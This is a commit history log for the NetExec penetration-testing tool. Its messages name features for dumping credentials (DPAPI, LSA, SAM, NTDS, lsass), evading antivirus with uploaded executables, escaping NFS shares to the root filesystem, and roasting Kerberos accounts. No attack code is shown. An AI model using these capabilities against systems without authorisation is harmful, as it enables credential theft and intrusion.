Compare commits

...
1601 Commits
Author SHA1 Message Date
Alex 806e4c73b2 Merge pull request #643 from Pennyw0rth/v1.4.0
Add CODENAME for release v1.4.0
2025-04-13 15:53:12 +02:00
Alexander Neff a73624aa5c Add CODENAME for release v1.4.0 2025-04-13 09:48:33 -04:00
Alex af743bf517 Merge pull request #642 from Pennyw0rth/neff-parse-uuids
Add sid parsing directly to the ldap attribute parser
2025-04-13 14:05:22 +02:00
Alexander Neff d5bd57dd94 Add sid parsing directly to the ldap attribute parser 2025-04-13 07:21:24 -04:00
Alex 6c30f3b611 Merge pull request #641 from exploide/completions
completions: no not complete options without entering `-` first
2025-04-13 13:18:00 +02:00
exploide b0ccbba947 completions: no not complete options without entering - first
additionally, this commit makes activate-global-python-argcomplete work
2025-04-13 11:21:04 +02:00
Alex 0b1a4e452a Merge pull request #640 from Pennyw0rth/neff-add-gmsa-readPrincipal
Add read principal to GMSA
2025-04-12 20:23:20 +02:00
Alexander Neff 47e40928b7 Add read principal of gmsa 2025-04-12 14:12:18 -04:00
Alex bf37152d3f Merge pull request #471 from termanix/patch-7
Update ldap.py for parse_result_attributes
2025-04-12 20:10:55 +02:00
Alexander Neff 5e400fb4b6 Fix GMSA account not showing for user without read privs 2025-04-12 12:32:35 -04:00
Alexander Neff 2540ca91b4 Refactor gmsa functions 2025-04-12 11:54:34 -04:00
Alexander Neff a4931816d9 Replace create_conn_obj parsing 2025-04-12 08:38:07 -04:00
Alex 5509c6b018 Merge pull request #638 from Pennyw0rth/neff-fix-rid-brute
Catch rpc error nca_s_op_rng_error when method is not implemented
2025-04-12 14:32:03 +02:00
Alex c9d9e49068 Merge pull request #639 from Pennyw0rth/neff-fix-desc-module
Fix encoding issue in get-desc-user
2025-04-12 14:31:55 +02:00
Alexander Neff 13c554bce5 Show only user objects with admincount 2025-04-12 08:17:19 -04:00
Alexander Neff c5bf67abc0 Fix asreproast only returning one user 2025-04-11 21:16:17 -04:00
Alexander Neff eae7ed544f Use parsed resp for counting results 2025-04-11 21:10:25 -04:00
Alexander Neff 1dc56bfaca Clean up --kerberos 2025-04-11 20:54:07 -04:00
Alexander Neff 92f4435b4b Massively trim down logic of admin_count as most of it isn't used 2025-04-11 20:53:51 -04:00
Alexander Neff c47df0842c Massively trim down logic of password_not_required as most of it isn't used 2025-04-11 20:04:33 -04:00
Alexander Neff 373232dea9 Massively trim down logic of trusted_for_delegation as most of it isn't used 2025-04-11 19:55:24 -04:00
Alexander Neff 8b27ec57ae Massively trim down logic of asreproast as most of it isn't used 2025-04-11 19:44:45 -04:00
Alexander Neff 09ec961d04 Linting 2025-04-11 19:21:18 -04:00
Alexander Neff 0dcc51b106 Make use of format strings and fix english 2025-04-11 19:21:05 -04:00
Alexander Neff 96eda79ab8 Merge branch 'main' into patch_ldap_parsing 2025-04-11 18:48:51 -04:00
Alexander Neff 9cb9fe7728 Fix encoding issue in get-desc-user 2025-04-11 17:17:18 -04:00
Alexander Neff 385715440c Catch rpc error nca_s_op_rng_error when method is not implemented 2025-04-11 12:05:19 -04:00
Alex 5a786487b6 Merge pull request #637 from Pennyw0rth/neff-fix-ldap-hashauth 2025-04-10 10:34:06 +02:00
Alexander Neff dcf7e97470 Fix ldap hash auth with signing enforced 2025-04-09 20:02:51 -04:00
Alex 8cad72623e Merge pull request #636 from termanix/kerb-fix 2025-04-09 09:19:01 +02:00
Alexander Neff 47960d14c3 Move ccache check to enum_host to respect kdcHost logic (must stay empty in domain trust auth) 2025-04-08 18:31:11 -04:00
termanix 531b760fb6 Merge branch 'main' into kerb-fix 2025-04-08 15:40:29 -04:00
Alex 4e4dfae633 Merge pull request #633 from termanix/update-dpapi
SMB DPAPI Now Store Results, Issue  #632
2025-04-08 21:37:35 +02:00
termanix aa943aa08e ccache as default and setted if self.args.domain 2025-04-08 15:08:57 -04:00
Alexander Neff 725b1df643 Replace hardcoded nxc path with NXC_PATH 2025-04-08 15:02:24 -04:00
Alexander Neff 652558309d Move all lsa/sam/ntds/dpapi output files into seperate folders 2025-04-08 14:43:34 -04:00
termanix b32f95bcbc Takes domain value from ccache file Default principal 2025-04-08 14:02:51 -04:00
Alexander Neff f6c22db7be Remove null bytes from dpapi output 2025-04-08 09:33:29 -04:00
termanix 518f7d4078 ruff fix 2025-04-07 09:00:44 -04:00
Alex 27f58aee79 Merge pull request #634 from Pennyw0rth/neff-fix-ldap-baseDN
Fix the baseDN for admin_check for custom baseDN
2025-04-07 14:52:21 +02:00
Alexander Neff 7755d05431 Linting 2025-04-07 08:21:52 -04:00
Alexander Neff a24e1327ac Fix admin_check if a different baseDN was specified 2025-04-07 08:21:33 -04:00
termanix 13c02f4524 Saving dpapi results like sam, lsa, ntds, etc. 2025-04-07 07:59:18 -04:00
Alex 98062cb345 Merge pull request #630 from Pennyw0rth/neff-remove-firefox
Remove firefox module in favour of --dpapi which includes firefox
2025-04-03 21:03:56 +02:00
Alexander Neff 826dec4a89 Merge branch 'main' into neff-remove-firefox 2025-04-03 14:54:38 -04:00
Alexander Neff d5737c61b1 Remove firefox module in favour of --dpapi which includes firefox 2025-04-03 14:48:54 -04:00
Alex 5a71b62acc Merge pull request #628 from Pennyw0rth/neff-fix-exec-output
Fix left handside indent from exec output
2025-04-03 16:16:55 +02:00
Alexander Neff d5978062ff Allow linting pipeline to run on review submittions like the test pipeline 2025-04-03 09:27:03 -04:00
Alexander Neff 1248552ef8 Linting 2025-04-03 09:00:33 -04:00
Alexander Neff ecad15e85a Fix left handside indent from powershell output 2025-04-03 08:44:51 -04:00
Alex 6fcfb8d031 Merge pull request #450 from Dfte/SMB]-ADd-the-recent_files-module
[SMB] Add the recent_files module
2025-04-02 01:35:22 +02:00
Alexander Neff f00c835c09 Merge branch 'main' into recent-files 2025-04-01 19:30:38 -04:00
Alexander Neff 0cdd60a60f Add no options text 2025-04-01 19:21:05 -04:00
Alex 99fe618dbd Merge pull request #625 from jdholtz/smb-cmdexec-improvements
smb: Prevent infinite loops handling an unknown error retrieving command output
2025-04-01 23:35:37 +02:00
Alex 677e25485b Merge pull request #626 from noraj/patch-1 2025-04-01 00:53:58 +02:00
Alexandre ZANNI 2747f1efd8 remove pywerview from spec
Signed-off-by: Alexandre ZANNI <[email protected]>
2025-04-01 00:43:53 +02:00
jdholtz 3897ceeb0a smb: Prevent infinite loops handling an unknown error retrieving command output
When an error like 'Broken pipe' occurs while trying to read the output
file from a command, the number of tries is not incremented, causing an
infinite loop fetching the output file (if this error keeps happening).
Now, the number of tries is incremented in this case. Also, the debug
messages were slightly improved to be more clear when failing to
retrieve output.
2025-03-31 11:38:34 -07:00
Alex f31fb4f098 Merge pull request #622 from Pennyw0rth/neff-fix-winscp
Improve WinSCP module
2025-03-30 15:23:04 +02:00
Alexander Neff a2b336d94a Remove command execution to enumerate local users and improve error handling 2025-03-30 09:14:58 -04:00
Alex 4ae32a73cd Merge pull request #602 from haytechy/output_users 2025-03-28 14:10:57 +01:00
Alexander Neff 37efce100a Fix logic when checking if args where specified and improve help text 2025-03-27 20:02:43 -04:00
Alexander Neff 75eecab8ed Convert --users-export to the same structure as in ldap 2025-03-27 19:52:48 -04:00
Alexander Neff a449284d20 Fix logic for debug output when user is specified 2025-03-27 19:41:42 -04:00
Alexander Neff 4eae4a2dd8 Make help description more precise 2025-03-27 19:39:51 -04:00
Alexander Neff 718b9fe4b6 Change variable name for export path and display export info line only when specified 2025-03-27 19:38:02 -04:00
Alex 2d3e1be1ab Merge pull request #620 from Pennyw0rth/spec-file
Fix spec file
2025-03-27 15:13:43 +01:00
Alex a0aaf1ad12 Merge pull request #619 from Pennyw0rth/neff-fix-putty
Add Error handling for loading users into registry
2025-03-27 15:13:32 +01:00
Alex 3318fa8ea2 Merge pull request #615 from Testeur-2-stylos/fix-smbv1-nxcdb
Update smb.py to test smbv1 connection before writing in nxcdb
2025-03-27 15:10:57 +01:00
Alexander Neff 71cfd4b347 Move logoff above smbv1 check 2025-03-27 09:49:23 -04:00
Alexander Neff 9c8e6f43ca Fix spec file 2025-03-27 09:40:46 -04:00
Alexander Neff 62ba3588ba Add Error handling for loading users into registry 2025-03-27 09:21:18 -04:00
Testeur_2_stylos 45f899219c Update smb.py to test smbv1 connection before writing in nxcdb
Signed-off-by: Testeur_2_stylos <[email protected]>
2025-03-26 10:16:54 +01:00
Alex 8d0b4e3e7b Merge pull request #527 from lap1nou/fix-ldap-db
Added credential and host DB for LDAP protocol
2025-03-24 17:37:54 +01:00
Alexander Neff 52a28aa88d Formating 2025-03-24 12:32:54 -04:00
Alexander Neff ccf81517a4 Add db.add_creds for kerberos with SSL enforced 2025-03-24 12:23:50 -04:00
Alex 87a5c366df Merge pull request #611 from shikatano/pre2k-passwd-length
modified the password used in pre2k.py for machine names longer than …
2025-03-24 17:11:04 +01:00
Lou 4cd4dbbd83 modified the password used in pre2k.py for machine names longer than 14 characters 2025-03-23 12:14:42 -04:00
lap1nou 6b0cfcdea8 Added db_navigator stuff 2025-03-22 17:20:23 +01:00
lapinou 7146824299 Merge branch 'Pennyw0rth:main' into fix-ldap-db 2025-03-21 23:46:05 +01:00
Marshall Hallenbeck 6de62472ef Merge pull request #590 from Pennyw0rth/marshall-db-ip-fix
fix: check if an IP is being searched for when calling get_hosts
2025-03-21 10:48:50 -04:00
Marshall Hallenbeck f4fa975d36 fix: check if the table uses ip or host for hosts before adding 2025-03-19 16:19:02 -04:00
Marshall Hallenbeck 166df14514 Merge branch 'main' into marshall-db-ip-fix 2025-03-19 15:46:39 -04:00
Alex aa832c5f1a Merge pull request #606 from jdholtz/ldap-timeout
Silently handle connection timed out during LDAP scan
2025-03-19 16:00:24 +01:00
Alexander Neff 0aeb105bd8 Add ENETUNREACH if the targeted network is not reachable 2025-03-19 10:49:33 -04:00
jdholtz 3fa2c746d6 Silently handle connection timed out during LDAP scan 2025-03-18 16:47:12 -07:00
mpgn da8ef0f0fb Merge pull request #604 from Pennyw0rth/ntlm
Add information if ntlm disabled
2025-03-18 16:34:13 +01:00
mpgn 87c223ed5e Add information if ntlm disabled 2025-03-17 19:04:18 +01:00
mpgn 91c339ea30 Merge pull request #603 from Pennyw0rth/fix_host
fix 0x_df issue with hosts file
2025-03-17 16:48:10 +01:00
mpgn 0f1c2f933b fix extra space 2025-03-17 15:55:33 +01:00
mpgn 450f1b2a89 fix extra space 2025-03-17 15:51:34 +01:00
mpgn 7723e74b30 fix 0x_df issue with hosts file 2025-03-17 15:40:56 +01:00
haytehcy 69baa8c133 Merge branch 'output_users' of https://github.com/haytechy/NetExec into output_users 2025-03-16 17:19:58 +00:00
haytehcy 7d8d1dbd2d Changed writelines to write on new lines 2025-03-16 17:19:29 +00:00
Alex 0892e066e4 Merge branch 'Pennyw0rth:main' into output_users 2025-03-16 15:50:57 +00:00
Alex ea77ad9a4e Merge pull request #597 from Pennyw0rth/neff-bug-fixes 2025-03-16 11:16:27 +01:00
mpgn cbcdf3acd3 Merge pull request #599 from Pennyw0rth/regsecret 2025-03-16 09:29:17 +01:00
haytehcy 8a35848474 Minor tweak/fixes to output users 2025-03-16 07:32:21 +00:00
Alexander Neff 1145cfe15f Make bool check a bit more explicit 2025-03-15 20:02:38 -04:00
haytehcy d6600d5f7c Minor tweak/fixes 2025-03-15 23:36:12 +00:00
haytehcy 0acdbbe345 Added Users Export 2025-03-15 23:20:29 +00:00
mpgn 1fe387e8f9 Merge branch 'main' into regsecret 2025-03-15 23:01:05 +01:00
mpgn 613fd5e48e fix ruff 2025-03-15 23:00:40 +01:00
mpgn a727f0283f Add choice to use old or new technique 2025-03-15 22:48:25 +01:00
Alex b520fdf9f5 Merge pull request #601 from Pennyw0rth/neff-revert-speed-improvs
Revert #411 due to connection issues (#479)
2025-03-15 17:48:06 +01:00
Alexander Neff 26c4847018 Revert #411 due to connection issues (#478, #479), possibly concurrency problems 2025-03-15 12:35:50 -04:00
Marshall Hallenbeck f0602c7804 Merge branch 'main' into marshall-db-ip-fix 2025-03-15 11:47:28 -04:00
Alex 340bc60759 Merge pull request #594 from Mercury0/asreproast-DNS-patch
Use host IP for DNS resolution in asreproast function if kdcHost not specified
2025-03-15 16:15:14 +01:00
Alexander Neff ae653c283b Add fix from ea7e0925a1 to the ldap protocol 2025-03-15 11:09:14 -04:00
Alexander Neff 7162fd9c3d Moved the fix for #592 to kerberoast class because otherwise user without password crashes without DNS 2025-03-15 11:08:35 -04:00
Alexander Neff adb423ef09 Remove unused imports 2025-03-15 10:20:30 -04:00
mpgn 97703063b6 Add regsecretdump technique 2025-03-14 23:17:33 +01:00
Marshall Hallenbeck 95ae5deb27 Merge branch 'main' into marshall-db-ip-fix 2025-03-14 10:12:46 -04:00
Alexander Neff c4bf023032 Improve logging output of --shares 2025-03-14 13:22:16 +01:00
Alexander Neff 493b12e1fb Fix get-unixUserPassword/get-userPassword modules which sometimes does not retrieve all users with these attributes 2025-03-14 11:33:38 +01:00
Alexander Neff d343e212cd Fix NFS indent for share listing 2025-03-13 14:41:54 +01:00
Alexander Neff c2cb7521df Fix ldap query output for output containing special chars, e.g. german äöü 2025-03-13 14:41:27 +01:00
Alexander Neff 98c4b15781 Fix wcc wsus check 2025-03-13 14:40:34 +01:00
Alexander Neff 36e4f4fb66 Set nfs timeout to 5 seconds 2025-03-11 14:52:27 +01:00
Alexander Neff 2621dcad02 If mount error still list share with available infos 2025-03-11 14:51:35 +01:00
Fox 725c96f57a Use host IP for DNS resolution for asreproasting 2025-03-10 09:05:40 -07:00
Alexander Neff fff8d09d2a If len(val_list) is zero val_list[0] will crash, this will now return the empty list 2025-03-10 16:04:41 +01:00
mpgn f8293d156b Merge pull request #579 from Pennyw0rth/remove_pywerview
Remove pywerview dependency
2025-03-09 11:25:42 +01:00
Alexander Neff 84dbe26bd6 Change wording to REMOVED as it actually is removed 2025-03-08 20:54:59 -05:00
Alexander Neff f7c6f20ba7 Sort member output by sid for better alignment 2025-03-08 20:49:45 -05:00
Alexander Neff 93446a593f Add Exception handling when we get rpc_access_denied 2025-03-08 20:17:51 -05:00
Alexander Neff ddc00c97da Raise exception on rpc_access_denied so it doesnt crash later for unkown reasons, use provided logger instead of nxc_logger 2025-03-08 20:16:47 -05:00
mpgn 0129b43a82 add poetry.lock 2025-03-08 22:40:30 +01:00
mpgn 25e7529a7c remove pywerview from pyproject 2025-03-08 22:36:23 +01:00
mpgn d279bb8ad1 fix ruff 2025-03-08 22:34:03 +01:00
mpgn 402ef37d02 Merge branch 'main' into remove_pywerview
Signed-off-by: mpgn <[email protected]>
2025-03-08 22:30:58 +01:00
mpgn a45ba3b0fc add local enumeration members on local group 2025-03-08 22:25:48 +01:00
Marshall Hallenbeck 9259825d36 Merge branch 'main' into marshall-db-ip-fix 2025-03-08 12:48:07 -05:00
Alexander Neff ec8abe6c6c Formating 2025-03-08 11:45:53 -05:00
Alex 0063ec0995 Merge pull request #574 from n3rada/main
Fix Poetry 2.1+ compatibility in `pyproject.toml`
2025-03-08 17:36:39 +01:00
Alexander Neff c7f28f5363 Remove poetry version lock in tests and remove duplicate poetry installation 2025-03-08 11:30:04 -05:00
Alexander Neff 875bf28b8b Remove unused packages 2025-03-08 10:49:19 -05:00
Alexander Neff 573a23c45a Pin pywerview to 0.3.3 2025-03-08 10:37:16 -05:00
Alexander Neff ed793d7883 Readd comments 2025-03-08 10:24:53 -05:00
Alexander Neff e87489f8ca Add commit 'distance' to version 2025-03-08 10:13:39 -05:00
Alex 23f4e63b65 Merge pull request #591 from Pennyw0rth/neff-patch-1
Catch ldap error if host is not reachable
2025-03-08 15:44:21 +01:00
Alex 6135e12cdb Merge pull request #464 from Dfte/Add---remoteuac-module
Create remote-uac.py
2025-03-08 15:42:54 +01:00
Alexander Neff dafc28a8c6 Catch ldap error if host is not reachable 2025-03-08 09:33:20 -05:00
Alexander Neff 62afd52961 Add option text 2025-03-08 09:17:11 -05:00
Alexander Neff 446bb30be3 Formating 2025-03-08 09:11:52 -05:00
Alexander Neff 02616525ca Rename module 2025-03-08 09:11:31 -05:00
Alex 7e1537b935 Merge branch 'main' into Add---remoteuac-module 2025-03-08 15:06:53 +01:00
Alexander Neff 7d80a3fceb Change deprecated output to fail 2025-03-08 08:19:19 -05:00
Alexander Neff 82002a7c3b Deprecate --loggeon-users-filter and spelling fix 2025-03-08 08:14:24 -05:00
Alexander Neff bb838c75e2 Apply filter by specifying a user for --loggedon-users arg 2025-03-08 08:09:57 -05:00
Marshall Hallenbeck 5889e55906 fix: check if an IP is being searched for when calling get_hosts in db calls; fixes #589 2025-03-07 20:02:45 -05:00
Alex c1e1205a9a Merge pull request #588 from Pennyw0rth/neff-patch-1 2025-03-07 16:39:16 +01:00
Alexander Neff d0a4be4447 Move connection error to info instead of fail similar to smb etc 2025-03-07 10:27:25 -05:00
Alexander Neff d214067218 Fix exception when it is not possible to list share 2025-03-07 10:18:05 -05:00
zblurx e68cc41906 Merge pull request #587 from Mercury0/ldap-checker-refactor
Improve reliability of ldap-checker module
2025-03-07 14:49:45 +01:00
n3rada d43b861533 Remove poetry.toml 2025-03-07 10:56:36 +01:00
Fox a91761a755 Improve reliability of ldap-checker module 2025-03-06 14:03:06 -08:00
Alex 9161b29e90 Merge pull request #570 from Pennyw0rth/neff-fix-veeam-output 2025-03-04 06:59:40 -05:00
Alexander Neff d201e4047e Fix --groups for groups without users or only one user 2025-03-03 20:18:59 -05:00
Alexander Neff 9203a5817c Remove dead code that was used by --users and --computers 2025-03-03 20:01:01 -05:00
Alexander Neff 0a5c1fd698 Add --computers from smb to ldap 2025-03-03 19:58:57 -05:00
Alexander Neff fc6e34ef76 Deprecate group-mem module 2025-03-03 19:45:56 -05:00
Alexander Neff 24cdf8d604 Add possibility to enumerate group members via ldap 2025-03-03 19:39:47 -05:00
Alexander Neff 6e390e8957 Add deprecated label so it is easier to find when we remove deprecated stuff 2025-03-03 19:12:24 -05:00
Alex 674fe5ed88 Merge pull request #584 from Pennyw0rth/neff-nfs-escape-to-rootfs
Small bug fixes for NFS
2025-03-03 18:59:32 -05:00
Alexander Neff 8aec485b79 Formating 2025-03-03 18:41:38 -05:00
Alexander Neff 4a696dff7e Fix bug if file has other permissions than the directory. Also better error handling 2025-03-03 17:20:05 -05:00
Alexander Neff 19ba129350 Fix bug if upload target dir is root point 2025-03-03 17:19:23 -05:00
Alex 9768568b65 Merge pull request #583 from Pennyw0rth/neff-nfs-escape-to-rootfs
NFS escape to root fs
2025-03-03 12:37:37 -05:00
Alexander Neff 9e44b7f1ed Better english 2025-03-03 10:11:04 -05:00
Alexander Neff 5f533f2c8f More UID/GID updates and clean up 2025-03-03 10:07:30 -05:00
Alexander Neff 13a6653503 Remove unused import 2025-03-02 18:45:36 -05:00
Alexander Neff df4e992c52 Add root_escape for --get-file and --put-file 2025-03-02 18:43:35 -05:00
Alexander Neff 67ce02eae7 Clean up and comments 2025-03-02 13:17:11 -05:00
Alexander Neff 434b0f4b80 Fix for items that are not resolved by the readdirplus call 2025-03-02 13:15:09 -05:00
Alexander Neff 9e4366f97f Add implementation for 'ls' 2025-03-02 12:59:52 -05:00
Alexander Neff de95d01c64 Add check for root escape 2025-03-02 10:14:17 -05:00
mpgn 0814931cf0 Merge branch 'main' into remove_pywerview 2025-03-02 14:20:56 +01:00
Alexander Neff d87c379ac5 NFS root escape automated for each share 2025-02-27 19:27:53 -05:00
Alexander Neff d1f7db656b Merge branch 'main' into neff-nfs-escape-to-rootfs 2025-02-27 17:35:50 -05:00
Alexander Neff 4571f93dce Working on nfs root escape 2025-02-27 17:35:48 -05:00
Alex 253f797f58 Merge pull request #580 from Pennyw0rth/neff-patch-1
Linting
2025-02-26 23:51:34 +01:00
Alexander Neff 5da61176b4 Linting 2025-02-26 17:46:23 -05:00
Alex 1ade4d6702 Merge pull request #445 from Dfte/SMB]-Add---qwinsta-and---tasklist-options
[SMB] Add the --qwinsta and --tasklist options
2025-02-26 23:32:27 +01:00
mpgn 45ea1de213 add poetry.lock 2025-02-26 23:02:48 +01:00
mpgn 0083554cca ruff fix 2025-02-26 23:00:51 +01:00
mpgn 4cc5d87d12 remove smb-session option 2025-02-26 23:00:13 +01:00
mpgn ae684bf0df rework smb function to remove pywerview dependency 2025-02-26 22:52:21 +01:00
Alexander Neff ca5a076f1e Add IPv4 to qwinsta output 2025-02-26 16:09:41 -05:00
Alexander Neff 53b42df414 Add IPv4 to qwinsta output 2025-02-26 13:53:08 -05:00
Alexander Neff 74e6aa03c1 Pass local object to functions istead of using a class variable, alread in use 2025-02-26 12:54:51 -05:00
n3rada 47bb14680a Fix auto version 2025-02-26 18:39:03 +01:00
Alex 2343ddf62a Merge pull request #577 from Pennyw0rth/neff-patch-1
Rename ambigous function
2025-02-26 18:33:21 +01:00
Alexander Neff c9111968e2 Also rename the arg lol 2025-02-26 12:05:34 -05:00
Alexander Neff 6c807b283c Rename ambigous function 2025-02-26 11:51:12 -05:00
Alexander Neff 23de82520f Add missing kerberos parameter 2025-02-26 11:28:57 -05:00
Alex 80f00af37d Merge pull request #576 from Pennyw0rth/neff-patch-1
Fix ASCII Art
2025-02-26 17:17:03 +01:00
Alexander Neff 724401af7a Formating 2025-02-26 11:15:56 -05:00
Alexander Neff 98c92077cc Replace single quote with double quote 2025-02-26 11:14:40 -05:00
Alexander Neff cb76ad8ded Fix ASCII Art 2025-02-26 09:32:03 -05:00
n3rada 7688320925 Updating poetry.lock and pyproject.toml 2025-02-26 09:55:42 +01:00
Alex c97e562bcc Merge pull request #575 from Mercury0/powershell_history_fix
Refactored powershell_history module to fix case sensitivity
2025-02-26 09:40:58 +01:00
Alexander Neff 6120249dd0 Simplify code 2025-02-26 03:36:22 -05:00
Fox b14830f17a Refactored powershell_history module to fix case sensitivity 2025-02-25 14:25:30 -08:00
n3rada f79a652723 Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:26:48 +01:00
n3rada 384eb30cdd Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:25:15 +01:00
n3rada 7b44298e21 Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:24:54 +01:00
n3rada dd72ee377d Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:23:15 +01:00
n3rada f6c376df17 Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:21:52 +01:00
n3rada e50bf7e686 Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:21:07 +01:00
n3rada 8a9e9a164c Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:19:21 +01:00
Alex a53a1ce865 Merge pull request #573 from Pennyw0rth/zblurx-fix-ldap-checker
LDAP checker fix when checking without creds
2025-02-25 15:04:23 +01:00
zblurx 2d21f4d7a6 LDAP checker fix when checking without creds 2025-02-25 12:40:13 +01:00
Alexander Neff ad6c385493 Typo 2025-02-23 13:14:06 -05:00
Alex 307aa248cb Merge pull request #571 from Pennyw0rth/neff-fix-py3.13 2025-02-21 10:26:54 +01:00
Alexander Neff 1911ca9e51 Update impacket and pynfsclient 2025-02-20 18:36:51 -05:00
Alexander Neff c6c1c2f14e Update github workflows to py3.13 2025-02-20 18:35:43 -05:00
Alexander Neff 4ffdbde343 Fix python 3.13 logging issue 2025-02-20 18:34:06 -05:00
Alex bba9e72530 Merge pull request #568 from jdholtz/smbexec-timeout
[smb] Always delete output file
2025-02-19 23:57:49 +01:00
Alexander Neff 342a13021b Bug fixes and output formating 2025-02-19 14:38:13 -05:00
Alexander Neff 3235b1d9df Add description to output 2025-02-19 13:53:24 -05:00
Alexander Neff c60141f38b Correct spelling 2025-02-19 13:06:59 -05:00
Alexander Neff 18f7033acd Add salted dpapi decryption for latest veeam installations 2025-02-19 13:06:37 -05:00
Alex bb8f92092d Merge pull request #569 from Pennyw0rth/neff-patch-1 2025-02-19 01:37:21 +01:00
Alexander Neff 0cc9a452f2 Add exception handling for NetBIOSTimeout Exceptions 2025-02-18 12:26:00 -05:00
Alexander Neff 39f1309ff2 Formating 2025-02-18 10:29:49 -05:00
Alexander Neff 1476373519 Change output path from temp to nxc folder 2025-02-18 10:25:43 -05:00
Alexander Neff 4de3f32629 Add exception handling for listing a single folder 2025-02-18 10:24:14 -05:00
jdholtz 1d4b4cbc60 [smb] Always delete output file 2025-02-16 22:56:17 -08:00
Alex c2f85db63b Merge pull request #565 from Pennyw0rth/neff-patch-1 2025-02-12 00:15:38 +01:00
Alexander Neff 5e14baee44 Fix #564 2025-02-11 18:00:08 -05:00
Alex 8046495d3f Merge pull request #560 from Pennyw0rth/neff-patch-1
Fix hardcoded option
2025-02-09 02:07:06 +01:00
Marshall Hallenbeck c0fc42ba26 Merge branch 'main' into neff-patch-1 2025-02-08 20:04:56 -05:00
Alexander Neff 5969756b35 Fix hardcoded option to arg 2025-02-08 19:59:50 -05:00
Alex ab34ca7577 Merge pull request #441 from termanix/patch-6
Update users and active-users against anonymous ldap authentication
2025-02-09 00:24:59 +01:00
Alexander Neff f282ca7dae Fix format string 2025-02-08 18:21:34 -05:00
Alex 449ce2468f Merge branch 'main' into patch-6 2025-02-08 23:35:42 +01:00
Alexander Neff d5b5ec9d86 Replace user disabled value with constant 2025-02-08 17:25:45 -05:00
Alexander Neff c7a08866f4 Formating 2025-02-08 17:18:38 -05:00
Alexander Neff 45e5e4c3e8 Improve readability 2025-02-08 17:17:57 -05:00
Alexander Neff b5b9f07575 Simplify logic 2025-02-08 17:08:52 -05:00
Alexander Neff 310cc9b333 Improve readability 2025-02-08 16:10:56 -05:00
mpgn f46f63b86d Merge pull request #537 from Pennyw0rth/backup_operator
Add Backup operators module
2025-02-08 18:32:01 +01:00
Alexander Neff f3ebe6b781 Fix detection if SAM/SYSTEM/SECURITY were deleted 2025-02-08 09:14:43 -05:00
Alexander Neff f6cd501eed Fix imports and don't force quit 2025-02-08 08:33:29 -05:00
Alexander Neff d8020bba2b Add Kerberos support and comments 2025-02-08 08:20:32 -05:00
mpgn 78c08dfb6d Merge pull request #552 from jdholtz/smbexec-delete-service
[smb] Always delete service when using smbexec
2025-02-03 08:03:13 +01:00
Alex 9e1643610c Merge pull request #541 from termanix/update-exe-nxc-data
Updated exe files while putting for evasion
2025-02-03 00:45:14 +01:00
Alexander Neff 97fb011169 Simplify code 2025-02-02 18:41:35 -05:00
Alex 3f06ea9812 Merge pull request #542 from termanix/fix-dump-files-deleting
Fix lsass Dump Files Deleting Process When Dump Fail
2025-02-03 00:31:57 +01:00
Alexander Neff f87535ee3a Lint 2025-02-02 18:18:12 -05:00
Alexander Neff cb6cef60e8 Increase readability and don't force quit on error 2025-02-02 18:13:20 -05:00
Alexander Neff 7d918e403b Increase readability 2025-02-02 18:11:09 -05:00
Alexander Neff 056b69a92c Lint 2025-02-02 18:10:01 -05:00
Alexander Neff 34063e3410 Increase readability 2025-02-02 18:09:30 -05:00
Alex 6a6fa94800 Merge pull request #553 from termanix/ruff-fix 2025-02-02 17:50:20 +01:00
termanix 643519ddc1 ruff fixed f-string without any placeholders 2025-02-02 11:41:30 -05:00
jdholtz 7f43b4a4dd [smb] Wrap the service deletion in a separate try/except block 2025-01-30 10:18:14 -08:00
jdholtz d6445d553e [smb] Always delete service when using smbexec 2025-01-29 12:24:56 -08:00
mpgn c904f3aa81 Merge pull request #547 from Joytide/main
Fix: privileged groups SID not found error
2025-01-26 22:14:39 +01:00
Joytide 34f6ce2580 Added debug output on lack of default privileged RID 2025-01-26 02:48:09 +01:00
lap1nou 93a7bd6c7d Added get_credentials and get_crdential function for LDAP protocol 2025-01-23 22:34:15 +01:00
lapinou 30166dd418 Merge branch 'Pennyw0rth:main' into fix-ldap-db 2025-01-23 21:42:04 +01:00
Joytide 8309947719 Fix: privileged groups SID not found error 2025-01-23 16:11:33 +01:00
termanix e5e750d897 Updated for procdump, handlekatz and procdump either 2025-01-23 03:41:01 -05:00
termanix 49220a323d Merge branch 'Pennyw0rth:main' into update-exe-nxc-data 2025-01-22 14:30:58 -05:00
termanix 84d896e22a Merge branch 'Pennyw0rth:main' into fix-dump-files-deleting 2025-01-22 14:30:41 -05:00
Alex 6ce260fca1 Merge pull request #546 from Pennyw0rth/neff-patch-1
Swap cert-pem to pem-cert to match pfx syntax
2025-01-22 13:39:35 +01:00
Alexander Neff 80f528c160 Swap cert-pem to pem-cert to match pfx syntax 2025-01-22 07:33:19 -05:00
mpgn 9511ca2b3b Merge pull request #544 from Pennyw0rth/krb5
Add option generate-krb5-file for krb5 configuration
2025-01-18 22:45:45 +01:00
mpgn a9412abeac Merge branch 'main' into backup_operator 2025-01-18 21:46:56 +01:00
mpgn dd27cc48f0 Merge branch 'main' into krb5 2025-01-18 21:40:59 +01:00
Alex ed89236e12 Merge pull request #545 from Pennyw0rth/ruff2
fix ruff
2025-01-18 21:34:09 +01:00
mpgn 29d94f9baa add test 2025-01-18 19:31:37 +01:00
mpgn e10756a973 add krb5 conf file option for smb 2025-01-18 19:28:19 +01:00
mpgn 8d9b7eede3 fix ruff 2025-01-18 18:36:57 +01:00
mpgn 7bb58133b0 Merge pull request #379 from nikaiw/module_dpapihash
Add dpapi hash module based on the work of @fist0urs
2025-01-18 15:44:15 +01:00
mpgn da3ad306e8 fix review 2025-01-18 14:15:23 +01:00
termanix dd6c62e8c2 Delete funciton created with same as nanodump and handlekatz 2025-01-16 05:18:39 -05:00
termanix fdb1a7993a Fix lsass dump files deleting process when dump fail 2025-01-16 05:12:46 -05:00
termanix 675975e614 Fix procdump deleting when lsass dump fail 2025-01-16 04:46:43 -05:00
termanix 9b1455f77a Updated exe files processsing for evasion 2025-01-15 05:56:50 -05:00
mpgn 5db7e76cf4 Merge branch 'main' into backup_operator 2025-01-14 20:17:46 +01:00
